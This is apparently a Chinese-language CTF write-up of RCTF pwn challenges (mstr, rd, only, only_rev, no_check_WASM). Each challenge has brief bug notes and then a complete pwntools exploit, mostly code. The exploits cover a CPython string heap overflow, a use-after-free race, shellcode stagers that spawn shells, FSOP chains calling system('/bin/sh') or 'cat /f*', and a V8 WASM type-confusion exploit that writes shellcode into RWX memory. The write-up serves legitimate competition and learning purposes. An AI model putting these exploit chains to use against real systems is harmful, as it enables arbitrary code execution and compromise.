RCTF pwn方向题解(缺bbox)
mstr
python pwn
漏洞和python内部的机制有关系,python对象并不直接存储对象,而是存储对象的引用。而mutableString类的data是string,max_size_str也是string。这就会导致data和max_size_str指向同一个字符对象。
至此还不会产生漏洞,因为如果对data进行修改,python会创建新的对象并修改引用指针。但是此时类里面提供了一个方法可以直接修改字符数组+=。如果我们对一个size进行+=就会导致max_size超级大,从而产生一个堆溢出。
然后观察堆上的情况,会发现对正常的对象进行溢出会破坏结构指针导致crush。而python堆结尾的内容则为全空,覆盖也不会产生影响。因此可以考虑堆喷将对象喷到堆末尾,然后再申请新的对象,从而构造出堆重叠。(+=方法会修改string对象的长度)
接着通过modify就可以修改下一个字符对象的长度,再从堆上泄漏出libcbase和heapbase,接下来用任意写打FSOP即可
from pwn import *
filename = './python'
libc = ELF("./libc.so.6")
host= '1.95.190.154'
port= 26000
# host = '127.0.0.1'
# port = 9999
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process([filename, './mstr.py'])
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process([filename, './mstr.py'])
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
def new(content):
payload = b'new ' + content
sla('>', payload)
def set_max(idx, size):
payload = b'set_max ' + str(size).encode() + b' ' + str(idx).encode()
sla('>',payload)
def plus_eq(idx1, idx2):
payload = b'+= ' + str(idx1).encode() + b' ' + str(idx2).encode()
sla('>', payload)
def plus(idx1, idx2):
payload = b'+ ' + str(idx1).encode() + b' ' + str(idx2).encode()
sla('>', payload)
def print_max(idx):
payload = b'print_max '+ str(idx).encode()
sla('>', payload)
def print_c(idx):
payload = b'print '+ str(idx).encode()
sla('>', payload)
def modify(idx, offset, val):
payload = b'modify ' + str(idx).encode() + b' ' + str(offset).encode() + b' ' + str(val).encode()
sla('>', payload)
script = '''
'''
def pwn():
global p
p = getp()
new(b'9') # 0
new(b'8')
new(b'a'*0x300) # 2
new(b'b'*0x300)
for i in range(2, 0x20):
new(b'1'*0x80)
set_max(33, 9)
set_max(2, 9)
plus_eq(0, 1)
plus_eq(0, 1)
plus_eq(0, 1)
plus_eq(0, 1)
plus_eq(33, 5)
plus_eq(33, 5)
plus_eq(33, 5)
new(b'meow'*0x20) # 34
print_c(33)
p.recvuntil(b'1'*0x88)
p.recv(0x8)
unitype = u64(p.recv(8))
print(hex(unitype))
# new(b'1'*0x10 + p64(0) + p64(1) + p64(unitype) + b'\xff') # 35
new(b'1'*0x10)
plus_eq(2, 35)
plus_eq(2, 35)
plus_eq(2, 35)
def write_at(off, content):
for i in range(0, 8):
modify(2, off+i, content[i])
# write_at(0x310, p64(0x241))
# write_at(0x318, p64(0x1))
write_at(0x320, p64(unitype))
write_at(0x328, p64(0x1000, sign='signed'))
print_c(3)
p.recvuntil(p64(0xd51))
libcbase = u64(p.recv(8)) - 0x204120
p.recv(8)
haddr = u64(p.recv(8)) - 0x9f8
write_at(0x328, p64(0x800000000000))
def write_at(off, content):
for i in range(0, 8):
modify(3, off+i, content[i])
write_at(libcbase+libc.sym['_IO_list_all'] - haddr, p64(haddr+0x100))
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
libc.address = libcbase
fake_file = haddr+0x100
payload = flat({
0x0 : 0xfbad1800,
0x28: 1,
0xa0: fake_file,
0x68: libcbase + 0x16e828,
0x8: fake_file + 0x70,
0x78: libcbase + 0x171bd9,
0x70: fake_file + 0x58,
0x58: b'cat /f*\x00',
0x90: fake_file + 0x90,
0x98: libc.sym['system'],
0x88: libcbase + 0x205720,
0x10: 1,
0xd8 : libc.sym['_IO_wfile_jumps'],
0xe0 : fake_file
}, filler =b'\x00').ljust(0x180, b'\0')
for i in range(0, len(payload)):
modify(3, 0x100+i, payload[i])
print(hex(libcbase))
print(hex(haddr))
pause()
p.shutdown("send")
p.interactive()
# print_c(3)
# print_max(2)
# modify(2, 0x250, 0xff)
pwn()
PS:如果发送端关闭python会进入exit流程,但是直接Ctrl+C同时也会关闭接收端,所以用shutdown只关闭接收端,远程读取flag后回显即可。
rd
本题漏洞为对象task指针未清空。如果我们能把一个已经free的对象申请回来,配合task_run就是一个竞态堆溢出。
然后就是耐心风水,泄漏堆栈地址然后打FSOP......(注意task->content会被写堆地址,配合前面的漏洞就是一个任意地址写堆地址)
(一开始还试着劫持rbp打栈迁移后面发现还不如打FSOP...)
from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= '1.95.160.168'
port = 26001
# host = '127.0.0.1'
# port= 13331
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def login(username, passwd, pads = b''):
pay = b'command:login\n'
pay += b'username:'+ username + b'\n'
pay += b'password:' + passwd + b'\n'
pay += pads
sl(pay)
p.recvuntil('user_token:')
x = p.recv(32)
print(x)
return x
def register(username, passwd, pads = b''):
pay = b'command:register\n'
pay += b'username:'+ username + b'\n'
pay += b'password:' + passwd + b'\n'
pay += pads
sl(pay)
p.recvuntil('success')
def nohup_register(username, passwd, pads = b''):
pay = b'command:register\n'
pay += b'username:'+ username + b'\n'
pay += b'password:' + passwd + b'\n'
pay += pads
sl(pay)
# p.recvuntil('success')
def submit_task(token, raw_content, encrypted = 0, pads= b''):
content = b''
if encrypted:
for byte in raw_content:
content += int.to_bytes(byte ^ 0x3f)
else:
content = raw_content
pay = b'command:submit_task\n'
pay += b'user_token:' + token + b'\n'
pay += b'task_content:' + content + b'\n'
pay += pads
sl(pay)
def deregister(token):
pay = b'command:deregister\n'
pay += b'user_token:' + token + b'\n'
sl(pay)
p.recvuntil('success')
def pwn():
global p
p = getp()
for i in range(0, 8):
register(str(i).encode(), b'abcdabcd')
register(b'8'*0x127, b't'*0x127)
for i in range(9, 16):
register(str(i).encode(), b'abcdabcd')
# pause()
token15 = login(b'15', b'abcdabcd')
token14 = login(b'14', b'abcdabcd')
token8 = login(b'8'*0x127, b't'*0x127)
token7 = login(b'7', b'abcdabcd')
deregister(token8)
deregister(token7)
register(b'7', b'1')
register(b'8', b'abcdabcd')
submit_task(token15, b'1'*0x127)
deregister(token15)
deregister(token14)
register(b'14', b'abcdabcd')
register(b'15', b'abcdabcd')
token = login(b'15', b'abcdabcd', b'1:'+b'1'*0x27)
submit_task(token, b'x'*0x128+p64(0x31)+b'\xc0', 1)
sleep(4)
libcbase = u64(login(b'8', b'abcdabcd')[-6:]+b'\x00\x00') + 0x39c8
print(hex(libcbase))
libc.address = libcbase
# pause()
#
register(b'1'*0x47, b'a'*0x47)
register(b'101', b'abcdabcd')
register(b'102', b'abcdabcd')
register(b'103', b'abcdabcd')
token13 = login(b'13', b'abcdabcd')
token12 = login(b'12', b'abcdabcd')
token100 =login(b'1'*0x47, b'a'*0x47)
token101 = login(b'101', b'abcdabcd')
deregister(token100)
deregister(token101)
register(b'100', b'1')
register(b'101', b'abcdabcd')
submit_task(token13, b'2'*0x47)
deregister(token13)
deregister(token12)
register(b'12', b'abcdabcd')
register(b'13', b'abcdabcd')
token = login(b'13', b'abcdabcd', b'1:'+b'1'*0x27)
pay = b'y'*0x48
pay += p64(0x31)+b'z'*0x28
pay += p64(0x51)+b'a'*0x48
pay += p64(0x51)+b'a'*0x48
pay += p64(0x31)+b'o'*0x28
pay += p64(0x31)+b'o'*0x28
pay += p64(0x21)+b'm'*0x18
pay += p64(0x31)+p64(libc.sym['environ'])
submit_task(token, pay , 1)
sleep(4)
binsh = libc.search('/bin/sh').__next__()
stack = u64(login(b'102', b'abcdabcd').split(b' ')[-1]+b'\x00\x00')
canary = stack - 0x1c0
print(hex(libcbase))
print(hex(stack))
print(hex(binsh))
# -------------------------------------------- #
register(b'2'*0x57, b'd'*0x57)
register(b'201', b'abcdabcd')
register(b'202', b'abcdabcd')
register(b'203', b'abcdabcd')
token11 = login(b'11', b'abcdabcd')
token10 = login(b'10', b'abcdabcd')
token200 =login(b'2'*0x57, b'd'*0x57)
token201 = login(b'201', b'abcdabcd')
deregister(token200)
deregister(token201)
register(b'200', b'1')
register(b'201', b'abcdabcd')
submit_task(token11, b'+'*0x57)
deregister(token11)
deregister(token10)
register(b'10', b'abcdabcd')
register(b'11', b'abcdabcd')
token = login(b'11', b'abcdabcd')
pay = b'p'*0x58
pay += p64(0x31)+b'i'*0x28
pay += p64(0x61)+b'r'*0x58
pay += p64(0x61)+b't'*0x58
pay += p64(0x31)+b's'*0x28
pay += p64(0x31)+b'w'*0x28
pay += p64(0x21)+b'c'*0x18
pay += p64(0x31)+p64(libcbase + 0x203b20)+p64(binsh)+p64(binsh)+p64(0)+p64(libc.sym['stdout']-0x20)
submit_task(token, pay , 1)
sleep(4)
token = login(b'/bin/sh', b'/bin/sh').split(b' ')[-1]
top_chunk = u64(token[0:6]+b'\x00\x00')
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
fake_file = top_chunk+0x1a0
payload = flat({
0x0 : 0xfbad1800,
0xa0: fake_file,
0x68: libcbase + 0x16e828,
0x8: fake_file + 0x70,
0x78: libcbase + 0x171bd9,
0x70: fake_file + 0x58,
0x58: b'/bin/sh\x00',
0x90: fake_file + 0x90,
0x98: libc.sym['system'],
0x88: libcbase + 0x205720,
0x10: 1,
0xd8 : libc.sym['_IO_wfile_jumps'] - 0x20,
0xe0 : fake_file
}, filler =b'\x00').ljust(0x180, b'\0')
# for i in range(0, 0x8):
# payload += p64(i*0x101) * 4
print(hex(top_chunk))
print(hex(libcbase))
print(hex(stack))
print(hex(binsh))
pause()
submit_task(p64(top_chunk+0x190)[0:6], payload, 1)
# 0x000000000017ac2c : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]
# 0x000000000016c4a7 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x20]
# 0x00000000001763ae : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x28]
# 0x000000000016da52 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x30]
# 0x000000000017b837 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x48]
# 0x000000000016e828 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 8]
# 0x0000000000171d26 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
# 0x00000000001762fd : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
# 0x0000000000171bd9 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]
# register(p64(stack-0x11f8)*5, p64(stack-0x11f8)*5)
nohup_register(b'1000', b'1000')
pwn()
p.interactive()
only
Man, what can I say?
void edit()
if(something)
{
printf("EMPTY!!!");
exit(0);
}
//...
本质shellcode题,重新做出read就打完了
from pwn import *
filename = './chal'
libc = ELF("./libc.so.6")
host= '1.95.190.154'
port= 0
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
'''
def pwn():
global p
p = getp()
hex_value = 0xD0E0A0D0B0E0E0F
float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
print(f"The float value of 0x{hex_value:X} is: {float_value}")
sla('3.', '2')
sla('input', str(float_value))
sla(':', '1')
pause()
shellcode = asm('pop rsi;'*6 + 'mov dl,0xff; syscall')
sa(':', shellcode)
sleep(0.5)
s(asm('nop;'*0x40+shellcraft.sh()))
pwn()
p.interactive()
only_rev
It's not funny
void edit()
if(something)
{
printf("EMPTY!!!");
exit(0);
}
//...
本质shellcode题,重新做出read然后就打完了。
from pwn import *
filename = './chal'
# libc = ELF("./libc.so.6")
host= '1.95.164.64'
port= 26000
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def pwn():
global p
p = getp()
hex_value = 0xD0E0A0D0B0E0E0F
float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
print(f"The float value of 0x{hex_value:X} is: {float_value}")
sla('3.', '2')
sla('input', str(float_value))
sla(':', '1')
pause()
shellcode = '''
syscall
mov rsi, rcx
mov dl, 0xff
syscall
'''
shellcode = asm(shellcode)
sa(':', shellcode)
sleep(0.5)
s(asm('nop;'*0x40+'lea rsp, [rip+0x800];' + shellcraft.open('flag', 0, 0) + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100)))
pwn()
p.interactive()
no_check_WASM
本题取消了wasm的类型保护检查。
用externStructRef自己做一个结构体就能随便任意读写了
然后就是找rwx写rwx。wasm在预热以后能从它的栈内存里泄漏栈地址(猜测,总之是拿到了地址)
然后就写shellcode我的脚本是概率通,嗯。
from pwn import *
import hashlib
import sys
import itertools
import string
def solve(h):
if isinstance(h, bytes): h = h.decode().strip()
cmd = ["hashcat", "-m", "1400", "-a", "3", "--quiet", "--potfile-disable", "--outfile-format=2", h, "rctf?h?h?h?h?h?h"]
return subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()[4:].encode()
filename = './d8'
# libc = ELF("./libc.so.6")
host= '127.0.0.1'
port= 7000
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
'''
def pwn():
global p
p = getp()
p.recvuntil('Find a nonce such that SHA-256(\'rctf\' + nonce) == ')
hash = p.recvline(keepends=False)
nonce = solve(hash)
sa('nonce:', nonce)
with open('./1.js') as f:
js = f.read()
sla('size', str(len(js)))
sla('script', js)
pwn()
p.interactive()
///// ------------------ wasm-module-builder.js END -------------------- /////
var foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}
// Helper
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
_f[0] = f;
return _i[0];
}
function i2f(i)
{
_i[0] = i;
return _f[0];
}
function hex(i)
{
print("0x"+i.toString(16).padStart(16,"0"));
}
function addr_of(obj)
{
const builder = new WasmModuleBuilder();
const sig_i = makeSig([kWasmExternRef], [kWasmI64]);
builder.addFunction("addr", sig_i)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
const instance = builder.instantiate();
const addr = instance.exports.addr;
return addr(obj);
}
function fake_obj(addr)
{
const builder = new WasmModuleBuilder();
const sig_i = makeSig([kWAsmI64], [kWasmExternRef]);
builder.addFunction("fake", sig_i)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
const instance = builder.instantiate();
const fake = instance.exports.fake;
return fake(addr);
}
function buildConfuseFunction(addr)
{
const builder = new WasmModuleBuilder();
const filed_i64 = makeField(kWasmI64, true);
const structType = builder.addStruct([filed_i64], kNoSuperType, true, false);
const refStructType = wasmRefType(structType)
const sig_i = makeSig([kWasmI64], [refStructType]);
cast = builder.addFunction("i64_to_struct", sig_i)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
const sig_j = makeSig([kWasmI64], [kWasmI64]);
builder.addFunction("_read64", sig_j)
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size),
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
const sig_k = makeSig([kWasmI64, kWasmI64], []);
builder.addFunction("_write64", sig_k)
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size),
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
const instance = builder.instantiate();
return instance.exports;
}
function read64(addr)
{
return buildConfuseFunction()._read64(addr);
}
function write64(addr, value)
{
return buildConfuseFunction()._write64(addr, value);
}
function leak_stack()
{
const builder = new WasmModuleBuilder();
const sig_i = makeSig([], [kWasmI64, kWasmI64, kWasmF64, kWasmF64]);
builder.addFunction("leak", sig_i)
.exportFunc()
.addBodyWithEnd([
kExprEnd,
]);
const module_bytes = builder.toBuffer();
const mod = new WebAssembly.Module(module_bytes);
const instance = new WebAssembly.Instance(mod, {});
var ret_val = instance.exports.leak();
return ret_val;
}
darry = [1.1, 1.2, 1.3];
x = addr_of([foo]);
y = read64(x);
for(i = 0; i < 1000; i++)
{
var sth = leak_stack();
}
sth = leak_stack();
stack = f2i(sth[2]);
for(i = 0n; i < 100n; i++)
{
rwx = read64(stack + i * 8n + 1n);
// hex(rwx);
}
sh = [
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x6e69622fb848686an,
0xe7894850732f2f2fn,
0x2434810101697268n,
0x6a56f63101010101n,
0x894856e601485e08n,
0x50f583b6ad231e6n,
0xccccccccccccccccn,
0xfffffe57e9909090n,
];
rwx = read64(stack + 0x51n);
hex(rwx)
hex(stack);
hex(x);
hex(y);
print(y);
for(i = 1n; i < 100n; i++)
{
if(i < 0x34)
write64(rwx + i * 8n + 0n, sh[i]);
}
BBOX
没学过qemu逃逸,期中考完学一下

浙公网安备 33010602011771号